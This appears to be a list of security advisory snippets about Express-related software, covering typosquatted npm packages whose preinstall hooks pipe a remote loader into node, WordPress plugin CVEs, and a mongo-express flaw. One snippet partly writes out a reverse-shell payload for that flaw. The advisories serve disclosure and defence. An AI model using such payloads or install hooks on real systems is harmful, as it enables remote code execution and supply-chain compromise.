Malicious code in express-enhanced (npm)

[email protected] impersonates express it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

MAL-2026-17490 Malicious code in express-fork (npm)

[email protected] impersonates express it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

Malicious code in express-fork (npm)

[email protected] impersonates express it copies express's package metadata, including the description "Fast, unopinionated, minimalist web framework" and author TJ Holowaychuk and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

TarantuBench

TarantuBench v1 A benchmark for evaluating AI agents on web security challenges, generated by the TarantuLabs engine. What is this? TarantuBench is a collection of 100 vulnerable web applications, each containing a hidden flag TARANTU.... An agent's job is to find and extract the flag by...

toxy

toxy Not actively maintained, may not work with latest node.js runtimes. If you are interested in maintaining toxy, please open an issue. Hackable HTTP proxy to simulate server failure scenarios , systems resiliency testing and unexpected network conditions , built for node.js. It was mainly...

Wordpress Email Subscribers by Icegram Express - SQL Injection

The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IGESSubscribersQuery' class in all versions up to, and including, 5.7.14 due to insufficient escaping ...

Mongo-Express - Remote Code Execution

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. id: CVE-2020-24391 info: nam...

CVE-2023-25813-TEST

CVE Test App An Express + MySQL practice app for locally verifying the behavior of Sequelize CVE-2023-25813. This project intentionally maintains a vulnerable Sequelize version and a vulnerable login query pattern. Do not expose it to the internet; run it only in a local Docker practice...

CVE-2026-96818

Unauthenticated Broken Access Control in WP Express Checkout Accept PayPal Payments = 2.4.9 versions...

EUVD-2026-89871

Unauthenticated Broken Access Control in WP Express Checkout Accept PayPal Payments = 2.4.9 versions...

CVE-2026-96818 WordPress WP Express Checkout (Accept PayPal Payments) plugin <= 2.4.9 - Broken Access Control vulnerability

Unauthenticated Broken Access Control in WP Express Checkout Accept PayPal Payments = 2.4.9 versions...

CVE-2026-96818 WordPress WP Express Checkout (Accept PayPal Payments) plugin <= 2.4.9 - Broken Access Control vulnerability

Unauthenticated Broken Access Control in WP Express Checkout Accept PayPal Payments = 2.4.9 versions...

CVE-2026-96818

The WP Express Checkout (Accept PayPal Payments) plugin for WordPress is affected by an unauthenticated Broken Access Control vulnerability in versions

CVE-2024-2876

CVE-2024-2876 취약점 설명: WordPress 및 WooCommerce용 이메일 마케팅, 뉴스레터, 자동화 플러그인인 Email Subscribers by Icegram Express는 5.7.14 버전까지포함 모든 버전에서 'IGESSubscribersQuery' 클래스의 'run' 함수를 통해 SQL Injection에 취약합니다. 이는 사용자가 제공한 파라미터에 대한 불충분한 이스케이프 처리와 기존 SQL 쿼리에 대한 충분한 준비 부족으로 인해 발생합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 S...

CVE-2026-96818: Missing Authorization

Unauthenticated Broken Access Control in WP Express Checkout Accept PayPal Payments = 2.4.9 versions...

CVE-2019-10758

CVE-2019-10758 mongo-express remote code execution, reverse shell code as follows: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2: document=this.constructor.constructor"return...

WordPress WP Express Checkout (Accept PayPal Payments) plugin <= 2.4.9 - Broken Access Control vulnerability

Broken Access Control vulnerability discovered by Morato Antoine in WordPress Plugin WP Express Checkout Accept PayPal Payments versions = 2.4.9...

Malicious code in express-javascript (npm)

The package express-javascript impersonates the legitimate 'express' package it republishes express's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

MAL-2026-17243 Malicious code in express-nodejs (npm)

The package express-nodejs impersonates the legitimate 'express' package it republishes express's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...

MAL-2026-17242 Malicious code in express-javascript (npm)

The package express-javascript impersonates the legitimate 'express' package it republishes express's package metadata and code and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl...